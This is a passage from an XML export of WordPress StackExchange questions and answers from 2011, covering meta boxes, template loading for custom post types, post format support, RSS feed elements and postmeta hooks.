id=&quot;container_inside&quot; class=&quot;inside&quot;&amp;gt;&amp;lt;/div&amp;gt;&amp;lt;/div&amp;gt;');&#xA;    $j(&quot;#my_metabox_div&quot;).appendTo(&quot;#container_inside&quot;);&#xA;    $j(&quot;#my_other_metabox_div&quot;).appendTo(&quot;#container_inside&quot;);&#xA;    etc...&#xA;});&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;I added the classes &lt;code&gt;meta-box-sortables&lt;/code&gt; and &lt;code&gt;ui-sortable&lt;/code&gt; to the container div, that way you can also reorder the boxes within the container (though it's kind of tricky, the div jumps easily..).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;This script is then called on the admin page we want with :&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;function add_admin_scripts( $hook ) {&#xA;    // load script on new post page&#xA;    if ( $hook == 'post-new.php' ) {&#xA;        wp_enqueue_script( 'group_meta_boxes', get_bloginfo('template_directory').'/js/group_meta_boxes.js' );&#xA;    }&#xA;}&#xA;add_action('admin_enqueue_scripts','add_admin_scripts',10,1);&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="1381" LastActivityDate="2011-06-28T13:42:55.587" CommentCount="1" />
  <row Id="21295" PostTypeId="2" ParentId="18865" CreationDate="2011-06-28T13:46:28.140" Score="0" ViewCount="" Body="&lt;p&gt;You should be including this file:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;    include( &quot;/some/path/wordpress/wp-config.php&quot; );&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;That'll get you to where you can use the wp_insert_post() function.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If this is a multi-site blog, make sure to use the switch_to_blog() function first.&lt;/p&gt;&#xA;" OwnerUserId="6555" LastActivityDate="2011-06-28T13:46:28.140" CommentCount="1" />
  <row Id="21296" PostTypeId="2" ParentId="21293" CreationDate="2011-06-28T13:49:57.187" Score="1" ViewCount="" Body="&lt;p&gt;A &lt;em&gt;plugin&lt;/em&gt; in WP is a concept more related to user friendly packaging of code, rather than mechanics of code itself.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I don't want to overly confuse you, but in practice plugin can act like a theme and theme can perform functions common to plugins. Just be aware that these things are more about &lt;a href=&quot;http://codex.wordpress.org/WordPress_Semantics&quot; rel=&quot;nofollow&quot;&gt;semantics&lt;/a&gt; then code.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;When dealing with plugins that interact with theme output it's important to remember that only way they can accomplish that is by using &lt;a href=&quot;http://codex.wordpress.org/Plugin_API&quot; rel=&quot;nofollow&quot;&gt;hooks&lt;/a&gt;. Theme is strongly expected to make a number of generic function calls (such as &lt;a href=&quot;http://codex.wordpress.org/Function_Reference/wp_head&quot; rel=&quot;nofollow&quot;&gt;&lt;code&gt;wp_head()&lt;/code&gt;&lt;/a&gt; and &lt;a href=&quot;http://codex.wordpress.org/Function_Reference/wp_footer&quot; rel=&quot;nofollow&quot;&gt;&lt;code&gt;wp_footer()&lt;/code&gt;&lt;/a&gt;) that set up important hooks and use &lt;a href=&quot;http://codex.wordpress.org/Template_Tags&quot; rel=&quot;nofollow&quot;&gt;template tags&lt;/a&gt; that come with hooks of their own.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;So the most likely reason that plugin fails with specific theme is that theme is of poor quality or very outdated and doesn't provide hooks that plugin requires. There is no generic solutions to this - it entirely depends on specifics of concrete theme and plugins how/if they can be fixed to work together if they don't.&lt;/p&gt;&#xA;" OwnerUserId="847" LastActivityDate="2011-06-28T13:49:57.187" CommentCount="1" />
  <row Id="21297" PostTypeId="2" ParentId="6765" CreationDate="2011-06-28T13:53:46.683" Score="1" ViewCount="" Body="&lt;p&gt;This is the function that you need:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;add_action( 'profile_update', 'custom_profile_redirect', 12 );&#xA;function custom_profile_redirect() {&#xA;    wp_redirect( trailingslashit( home_url() ) );&#xA;    exit;&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Just change the target of wp_redirect to whatever URL you want your users to go to. You can even add conditional logic to it if you only want this to happen for certain users, like the function below:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;add_action( 'profile_update', 'custom_profile_redirect', 12 );&#xA;function custom_profile_redirect() {&#xA;    if ( current_user_can( 'subscriber' ) ) {&#xA;        wp_redirect( trailingslashit( home_url() ) );&#xA;        exit;&#xA;    }&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Hope this helps! You can learn more about it from the tutorial I wrote below.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;http://bit.ly/khxOsX&quot; rel=&quot;nofollow&quot;&gt;http://bit.ly/khxOsX&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="6557" LastActivityDate="2011-06-28T13:53:46.683" CommentCount="1" />
  <row Id="21298" PostTypeId="2" ParentId="21291" CreationDate="2011-06-28T13:54:24.837" Score="1" ViewCount="" Body="&lt;p&gt;see: &lt;a href=&quot;http://www.transformationpowertools.com/wordpress/adsense-ad-at-more-tag-fold&quot; rel=&quot;nofollow&quot;&gt;'Adsense Ad at the More Tag Position'&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="4884" LastActivityDate="2011-06-28T13:54:24.837" />
  <row Id="21299" PostTypeId="2" ParentId="21284" CreationDate="2011-06-28T13:59:37.570" Score="2" ViewCount="" Body="&lt;p&gt;The &lt;code&gt;wp_list_comments()&lt;/code&gt; call accepts a &lt;em&gt;callback&lt;/em&gt; argument, in which you can define the &lt;em&gt;specifc&lt;/em&gt; comment-list markup that you want. I would suggest taking a look at how TwentyTen handles the &lt;code&gt;wp_list_comments()&lt;/code&gt; callback. &lt;/p&gt;&#xA;" OwnerUserId="3966" LastActivityDate="2011-06-28T13:59:37.570" CommentCount="1" />
  <row Id="21300" PostTypeId="2" ParentId="21293" CreationDate="2011-06-28T14:03:29.437" Score="0" ViewCount="" Body="&lt;p&gt;Switching themes can sometimes reset plugin and widget settings - which is one reason why the plugins would stop working when themes are switched. Second reason for a plugin not working is a poorly written theme that is missing wp_head(), or wp_foot() calls.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;My recommendation for understanding WordPress better is to create your own dummy theme from scratch. Along the way you'll gain more understanding in a controlled, linear fashion.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;See &lt;a href=&quot;http://codex.wordpress.org/Theme_Development&quot; rel=&quot;nofollow&quot;&gt;http://codex.wordpress.org/Theme_Development&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;There are many documents on the web describing how this is done, but, the one thing you should focus on is the simplest version.&lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;create a folder mytheme &amp;lt;- funny that it's a step&lt;/li&gt;&#xA;&lt;li&gt;create a file mytheme/style.css &lt;/li&gt;&#xA;&lt;li&gt;create a file mytheme/index.php&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&#xA;&lt;p&gt;Just those two files can technically make wordpress work in its entirety, if the theme is coded properly [wp_head(), wp_foot() hooks, etc...].&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If you start from a very, very simplified theme and start viewing content through it and different aspects of it - archives, categories, etc, you'll gain actual appreciation for specialized theme files.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;A single index.php can get bloated and confusing (many if statements - such as is_home(), is_category(), etc, exception) which is why WP has a method to split off routines into individual files in a very structured and predictable manner. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Print this graph out: &lt;a href=&quot;http://codex.wordpress.org/images/1/18/Template_Hierarchy.png&quot; rel=&quot;nofollow&quot;&gt;http://codex.wordpress.org/images/1/18/Template_Hierarchy.png&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;WP will basically check whether a specialized theme file exists (home.php, for example). If it does, it'll include it when needed. Otherwise, it'll default to a theme's index.php.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;It gets a bit more complex from that point, but, I think that you typically can't understand the process unless you crawl along its evolutionary steps.&lt;/p&gt;&#xA;" OwnerUserId="6555" LastActivityDate="2011-06-28T14:03:29.437" />
  <row Id="21301" PostTypeId="1" CreationDate="2011-03-29T16:55:14.547" Score="0" ViewCount="20" Body="&lt;p&gt;Are there any plugins that can delete spam blogs from wpmu? I have been looking for quite a while but can not find any plugins that can delete spam blogs on wpmu. Although I have been able to find plugins to prevent spam, that is not what I want here.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thanks Guys.&lt;/p&gt;&#xA;" LastActivityDate="2011-08-28T09:36:04.123" Title="eliminate wpmu spam" Tags="&lt;php&gt;&lt;spam&gt;" AnswerCount="3" CommentCount="0" />
  <row Id="21302" PostTypeId="2" ParentId="21301" CreationDate="2011-03-29T17:08:53.650" Score="0" ViewCount="" Body="&lt;p&gt;Doesn't &lt;a href=&quot;http://wordpress.org/extend/plugins/akismet/&quot; rel=&quot;nofollow&quot;&gt;Akismet&lt;/a&gt; work for WPMU?&lt;/p&gt;&#xA;" OwnerUserId="8037" LastActivityDate="2011-03-29T17:08:53.650" />
  <row Id="21303" PostTypeId="2" ParentId="21301" CreationDate="2011-03-30T07:44:08.687" Score="0" ViewCount="" Body="&lt;p&gt;Anti-Splog from WPMUDev looks like a pretty strong tool for deleting spam blogs: &lt;a href=&quot;http://premium.wpmudev.org/project/anti-splog&quot; rel=&quot;nofollow&quot;&gt;http://premium.wpmudev.org/project/anti-splog&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="7239" LastActivityDate="2011-03-30T07:44:08.687" />
  <row Id="21304" PostTypeId="2" ParentId="21301" CreationDate="2011-06-28T10:01:54.377" Score="0" ViewCount="" Body="&lt;p&gt;WangGuard is an awesome plugin. It is free for personal use but for commercial use, you have to pay.&#xA;&lt;a href=&quot;http://wangguard.com/&quot; rel=&quot;nofollow&quot;&gt;http://wangguard.com/&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="4609" LastActivityDate="2011-06-28T10:01:54.377" />
  <row Id="21305" PostTypeId="1" AcceptedAnswerId="21307" CreationDate="2011-06-28T11:06:55.443" Score="1" ViewCount="50" Body="&lt;p&gt;I have a number of custom of post types - i.e. &lt;code&gt;'windows'&lt;/code&gt;, &lt;code&gt;'doors'&lt;/code&gt;, &lt;code&gt;'garages'&lt;/code&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;and I want to load a custom template (&lt;code&gt;special.php&lt;/code&gt;) whenever my wordpress site has a url that looks like this:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;www.mysite.com/windows/&#xA;www.mysite.com/doors/&#xA;www.mysite.com/garages/&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;I don't want to use pages, as it is not appropriate in this case (I have given a scaled down example in the above example)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;How can I achieve this?&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Currently, as no pages exist with those names, I am getting an 404 (index.php)&lt;/p&gt;&#xA;" OwnerUserId="4816" LastActivityDate="2011-06-28T15:25:15.437" Title="wordpress - load a template based on the URI" Tags="&lt;templates&gt;&lt;urls&gt;&lt;routing&gt;" AnswerCount="3" CommentCount="1" FavoriteCount="1" />
  <row Id="21306" PostTypeId="2" ParentId="21305" CreationDate="2011-06-28T11:11:25.003" Score="0" ViewCount="" Body="&lt;p&gt;move all your script in single.php to anthor template called say &quot;narmol.php&quot;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;and in the single.php, place a condition like&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt; if(post_type=&quot;windows&quot; || &quot;doors&quot; || &quot;garages&quot;) include &quot;special.php&quot;;&#xA; else include &quot;normal.php&quot;;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;the above code is just an idea(Pseudocode). I assume you know how to implement it. let me know if you dont know.&lt;/p&gt;&#xA;" OwnerUserId="6496" LastActivityDate="2011-06-28T11:11:25.003" CommentCount="7" />
  <row Id="21307" PostTypeId="2" ParentId="21305" CreationDate="2011-06-28T11:13:23.193" Score="1" ViewCount="" Body="&lt;p&gt;I assume that your custom post type windows would map onto /windows/ etc?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;You can customise the template for individual custom post types via single-posttype.php in your theme, e.g. single-windows.php single-doors.php and single-garages.php Wordpress will automatically pick these up&lt;/p&gt;&#xA;&#xA;&lt;p&gt;You could also use custom page templates, e.g. page-windows.php or custom templates with the right template names.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If the pages are intended to list the post types, then you could try creating post archive templates, e.g.: &lt;a href=&quot;http://mark.mcwilliams.me/2010/10/wordpress-3-1-introduces-custom-post-type-archives/&quot; rel=&quot;nofollow&quot;&gt;http://mark.mcwilliams.me/2010/10/wordpress-3-1-introduces-custom-post-type-archives/&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Or, you could create a taxonomy for each of said names, and use taxonomy-windows.php&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Using all fo the above, one could share the code using something along the lines of:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;?php&#xA;// example code, may need minor modifications&#xA;get_template_part('special',$post-&amp;gt;post_type);&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Allowing you to share the code for all the pages in one file, and giving you child theme support, and the ability to override via files such as special-windows.php&lt;/p&gt;&#xA;&#xA;&lt;p&gt;OR, if none of the above suit you, there is a final solution:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;http://www.braindonor.net/coding-blog/custom-pages-with-wordpress-plugins/230/&quot; rel=&quot;nofollow&quot;&gt;http://www.braindonor.net/coding-blog/custom-pages-with-wordpress-plugins/230/&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;This will let you put a page with whatever you want, wherever you want, without needing any posts or pages of any kind, in a theme independent way.&lt;/p&gt;&#xA;" OwnerUserId="736" LastActivityDate="2011-06-28T11:21:39.707" />
  <row Id="21308" PostTypeId="1" AcceptedAnswerId="21310" CreationDate="2011-06-28T14:05:36.553" Score="0" ViewCount="44" Body="&lt;p&gt;I need to change the author element of the feed from dc:creator to author. How does this is possible?&lt;/p&gt;&#xA;" OwnerUserId="4448" LastActivityDate="2011-06-28T14:43:24.520" Title="How can I rename the element &lt;dc:creator&gt; to &lt;author&gt; in my RSS?" Tags="&lt;feed&gt;" AnswerCount="1" CommentCount="5" />
  <row Id="21310" PostTypeId="2" ParentId="21308" CreationDate="2011-06-28T14:43:24.520" Score="0" ViewCount="" Body="&lt;p&gt;Bearing in mind my comment about, you can use the &lt;code&gt;rss_item&lt;/code&gt; hook to add a filter that will let you add the &lt;code&gt;&amp;lt;author&amp;gt;&lt;/code&gt;element to your feed&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;function add_author_to_feed($feed) {&#xA;  $feed .= '&amp;lt;author&amp;gt;' . the_author_meta('user_email') . '&amp;lt;/author&amp;gt;';&#xA;  return $feed&#xA;}&#xA;&#xA;add_filter('rss_item', 'add_author_to_feed');&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;(note - this code is not tested)&lt;/p&gt;&#xA;" OwnerUserId="490" LastActivityDate="2011-06-28T14:43:24.520" />
  <row Id="21311" PostTypeId="1" CreationDate="2011-06-28T14:45:18.323" Score="1" ViewCount="31" Body="&lt;p&gt;I'm using metadata in pages to store variables and do server side caching for dynamic generated paypal buttons and other variables about the pages (page specific)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I'm trying to hook the page meta data update, add and delete&#xA;the update+add works fine (both with same function) but I can't figure the delete.&#xA;in order to use delete_post_data I need the post_id but the do_action doesn't return that (at least what i can figure..)&#xA;from wordpress source code it seems to return this:&#xA;1474               do_action( 'delete_postmeta', $postmetaids ); //sometimes $post_meta_ids&#xA;where &lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$postmetaids = $wpdb-&amp;gt;get_col( $wpdb-&amp;gt;prepare( &quot;SELECT meta_id FROM $wpdb-&amp;gt;postmeta WHERE meta_key = %s&quot;, $post_meta_key ) );&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;or&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$post_meta_ids = $wpdb-&amp;gt;get_col( $wpdb-&amp;gt;prepare( &quot;SELECT meta_id FROM $wpdb-&amp;gt;postmeta WHERE post_id = %d &quot;, $postid ));&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;the code i'm using to call the hooks&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;add_action ('update_postmeta', 'wp_paypal_meta_change',1,4);&#xA;add_action ('add_postmeta', 'wp_paypal_meta_change', 1, 4);&#xA;add_action ('delete_postmeta','wp_paypal_meta_delete', 1, 2);&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;the delete function:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;function wp_paypal_meta_delete($post_id, $meta_keys){&#xA;/*&#xA; handles cases that the user intentionaly deletes the metadata, and deletes the&#xA; hidden metadata variable appropriate.  in order to make sure the cached paypal form&#xA; matches the product data.&#xA;&#xA;*/&#xA;&#xA;    if ($meta_keys == 'image'){&#xA;    delete_post_meta($post_id,'_thumb');&#xA;    } else if ($meta_keys == 'shipping' || $meta_keys == 'cost' || $meta_keys== 'bookname'){&#xA;    delete_post_meta($post_id,'_paypal');&#xA;    }&#xA;&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;I know the $post_id doesn't get into the function, but it's here because I hoped wordpress somehow refernces it - didn't work&lt;/p&gt;&#xA;&#xA;&lt;p&gt;edit: I found an answer, also not a straight path, I'm sure there's a better way to do this.&#xA;basically I use a little helper method that queries the sql with the meta_id and return the &#xA;post_id:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;hope this is helpful for someone:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;?php&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;function get_key_by_id($meta_ids) { &lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$meta_ids = (int) $meta_ids;&#xA;global $wpdb;&#xA;//$wpdb-&amp;gt;show_errors();&#xA;$meta_keys = $wpdb-&amp;gt;get_var($wpdb-&amp;gt;prepare(&quot;SELECT meta_key FROM $wpdb-&amp;gt;postmeta WHERE meta_id=%d&quot;, $meta_ids));&#xA;//$wpdb-&amp;gt;print_error();&#xA;if($meta_keys) &#xA;     return $meta_keys; &#xA;&#xA;else {&#xA;return false;&#xA; }&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;}&#xA;?&gt;&lt;/p&gt;&#xA;" OwnerUserId="6129" LastEditorUserId="6129" LastEditorDisplayName="" LastEditDate="2011-08-19T10:51:26.863" LastActivityDate="2011-08-19T10:51:26.863" Title="problem with using the delete_postmeta action hook" Tags="&lt;post-meta&gt;&lt;add-action&gt;" />
  <row Id="21315" PostTypeId="1" AcceptedAnswerId="21319" CreationDate="2011-06-28T15:13:44.643" Score="0" ViewCount="47" Body="&lt;p&gt;After adding support for a selection of post formats like this:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;add_theme_support( 'post-formats', array( 'aside', 'video' ) );&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;how can I then get the list of supported post formats back?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I'm building a theme where the user can toggle support for postformat, and I want other admin elements to reflect what post formats the user has configured the theme to support.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;so I'm looking for something like &lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;current_theme_supports( 'post-formats'); // outputs boolean&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;but that outputs just true or false, whereas I want to get an array of the post formats actually registered..&lt;/p&gt;&#xA;&#xA;&lt;p&gt;what would be the correct WordPress function to call (or constant/global var) to look at for this?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I want something like this:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;get_supported_post_formats(); // out: array('aside', 'video')&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="2071" LastActivityDate="2011-06-28T15:34:15.437" Title="how to get list of post formats supported by theme?" Tags="&lt;post-formats&gt;" AnswerCount="2" CommentCount="2" />
  <row Id="21316" PostTypeId="1" CreationDate="2011-06-28T15:14:11.233" Score="1" ViewCount="98" Body="&lt;p&gt;the wordpress admin already uses some kind of toggle on the menu and on metaboxes.. w/ &quot;Click to Toggle&quot; buttons that remember the open versus closed state. Does anybody know what code is responible for this? I'd like to implement it into sections of my custom metaboxs, and it doesn't seem like I should need to add a script to the admin area (b/c it is already slow) when WP has this functionality by default.&lt;/p&gt;&#xA;" OwnerUserId="6477" LastActivityDate="2011-09-05T10:43:05.990" Title="Admin area 'toggle' w/ cookie" Tags="&lt;admin&gt;&lt;jquery-ui&gt;" AnswerCount="3" />
  <row Id="21317" PostTypeId="2" ParentId="21316" CreationDate="2011-06-28T15:19:26.467" Score="0" ViewCount="" Body="&lt;p&gt;Checkout the HTML for a WP meta-box :&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;div id=&quot;my_div&quot; class=&quot;postbox &quot;&amp;gt;&#xA;    &amp;lt;div class=&quot;handlediv&quot; title=&quot;Click to toggle.&quot;&amp;gt;&amp;lt;br&amp;gt;&amp;lt;/div&amp;gt;&#xA;    &amp;lt;h3 class=&quot;hndle&quot;&amp;gt;&amp;lt;span&amp;gt;title&amp;lt;/span&amp;gt;&amp;lt;/h3&amp;gt;&#xA;    &amp;lt;div class=&quot;inside&quot;&amp;gt;&#xA;        ...&#xA;    &amp;lt;/div&amp;gt;&#xA;&amp;lt;/div&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;If you follow that structure (and CSS classes) in your custom meta-box, the toggle will work.&lt;/p&gt;&#xA;" OwnerUserId="1381" LastActivityDate="2011-06-28T15:19:26.467" CommentCount="4" />
  <row Id="21318" PostTypeId="2" ParentId="21305" CreationDate="2011-06-28T15:25:15.437" Score="0" ViewCount="" Body="&lt;p&gt;When you register new post type, there's an argument that will enable the post type archives &lt;code&gt;has_archive&lt;/code&gt; (check the &lt;a href=&quot;http://codex.wordpress.org/Function_Reference/register_post_type&quot; rel=&quot;nofollow&quot;&gt;Codex&lt;/a&gt;). When you enable post type archive, these urls:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;www.mysite.com/windows/&#xA;www.mysite.com/doors/&#xA;www.mysite.com/garages/&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;will uses &lt;code&gt;archive-$post_type.php&lt;/code&gt; as the template file. And if the file &lt;code&gt;archive-$post_type.php&lt;/code&gt; doesn't exist, it will looks for &lt;code&gt;archive.php&lt;/code&gt;. (check the &lt;a href=&quot;http://codex.wordpress.org/Template_Hierarchy#Custom_Post_Types_display&quot; rel=&quot;nofollow&quot;&gt;Codex&lt;/a&gt;)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;So I think a simple solution for you is checking the &lt;code&gt;$post_type&lt;/code&gt; in &lt;code&gt;archive.php&lt;/code&gt; file and when it's one of &lt;code&gt;windows, doors, garages&lt;/code&gt; then we include &lt;code&gt;special.php&lt;/code&gt;, like this:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;?php&#xA;// archive.php&#xA;$post_type = get_query_var('post_type');&#xA;if (in_array($post_type, array('windows', 'doors', 'garages'))) {&#xA;    include 'special.php';&#xA;    exit;&#xA;}&#xA;&#xA;// default content for other archive type&#xA;?&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Note:&lt;/strong&gt; Don't forget to set &lt;code&gt;has_archive&lt;/code&gt; to &lt;code&gt;true&lt;/code&gt; when you register post type.&lt;/p&gt;&#xA;" OwnerUserId="2051" LastActivityDate="2011-06-28T15:25:15.437" />
  <row Id="21319" PostTypeId="2" ParentId="21315" CreationDate="2011-06-28T15:31:26.853" Score="2" ViewCount="" Body="&lt;p&gt;Taken from &lt;code&gt;post_format_meta_box&lt;/code&gt;;&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;if ( current_theme_supports( 'post-formats' ) ) {&#xA;    $post_formats = get_theme_support( 'post-formats' );&#xA;&#xA;    if ( is_array( $post_formats[0] ) ) {&#xA;        print_r( $post_formats[0] );&#xA;        // Array( supported_format_1, supported_format_2 ... )&#xA;    }&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="1685" LastActivityDate="2011-06-28T15:31:26.853" />
  <row Id="21320" PostTypeId="2" ParentId="21315" CreationDate="2011-06-28T15:34:15.437" Score="2" ViewCount="" Body="&lt;p&gt;get_theme_support( 'post-formats' ) will return the array of supported formats.&lt;/p&gt;&#xA;" OwnerUserId="2232" LastActivityDate="2011-06-28T15:34:15.437" CommentCount="1" />
  <row Id="21321" PostTypeId="1" AcceptedAnswerId="21325" CreationDate="2011-06-28T15:39:07.027" Score="0" ViewCount="58" Body="&lt;p&gt;Inside of my current theme directory, I created a folder called &quot;mobile&quot; which contains a separate set of template files, all optimized for mobile.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Now, say I setup a function that detects a mobile device, I would like wordpress to now load &quot;mytheme/mobile/header.php&quot; Instead of the themes root header.php and index files.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Is there some way I can tell wordpress to look in a template subfolder for the template files?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Many thanks&lt;/p&gt;&#xA;" OwnerUserId="6560" LastActivityDate="2011-07-07T20:49:12.057" Title="Load template inside a parent template" Tags="&lt;template&gt;&lt;redirect&gt;&lt;child-theme&gt;&lt;wp-redirect&gt;" AnswerCount="1" />
  <row Id="21323" PostTypeId="2" ParentId="21316" CreationDate="2011-06-28T15:43:45.497" Score="0" ViewCount="" Body="&lt;p&gt;That's bundled together with the current user data (else nothing will be remembered), which you can inspect with my (hardly outdated) &lt;a href=&quot;http://wordpress.org/extend/plugins/your-friendly-current-user-deamon/&quot; rel=&quot;nofollow&quot;&gt;&quot;Current User Deamon&quot; Plugin&lt;/a&gt;. That's the fields:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;// User Meta Arrays:&#xA;$metaboxhidden_dashboard    = $current_user-&amp;gt;metaboxhidden_dashboard;&#xA;$capabilities               = $current_user-&amp;gt;{ $wpdb-&amp;gt;prefix . 'capabilities' };&#xA;$closedpostboxes_page       = $current_user-&amp;gt;closedpostboxes_page;&#xA;$metaboxhidden_page         = $current_user-&amp;gt;metaboxhidden_page;&#xA;$autosave_draft_ids         = $current_user-&amp;gt;{ $wpdb-&amp;gt;prefix . 'autosave_draft_ids' };&#xA;$closedpostboxes_post       = $current_user-&amp;gt;closedpostboxes_post;&#xA;$metaboxhidden_post         = $current_user-&amp;gt;metaboxhidden_post;&#xA;$metaboxorder_dashboard     = $current_user-&amp;gt;{ $wpdb-&amp;gt;prefix . 'metaboxorder_dashboard' };&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="385" LastActivityDate="2011-06-28T15:43:45.497" CommentCount="3" />
  <row Id="21324" PostTypeId="1" CreationDate="2011-06-28T15:44:05.480" Score="0" ViewCount="38" Body="&lt;p&gt;This question is a continuity to the one already published here (&lt;a href=&quot;http://wordpress.stackexchange.com/questions/14403/force-category-choice-before-creating-new-post/&quot;&gt;Force category choice before creating new post?&lt;/a&gt;) . &lt;/p&gt;&#xA;&#xA;&lt;p&gt;what if I want to add two main categories and few sub categories each. When I tried to do this I get all the Main categories and subcategories together in one drop down list. I would like to have to select Main categories first then press continue it selects sub categories. Thanks for your Great help.&lt;/p&gt;&#xA;" OwnerUserId="6558" LastEditorUserId="847" LastEditorDisplayName="" LastEditDate="2011-06-28T20:15:24.460" LastActivityDate="2011-06-28T20:15:24.460" Title="how to have a category first then go for the subcategory before the post?" Tags="&lt;categories&gt;" CommentCount="1" />
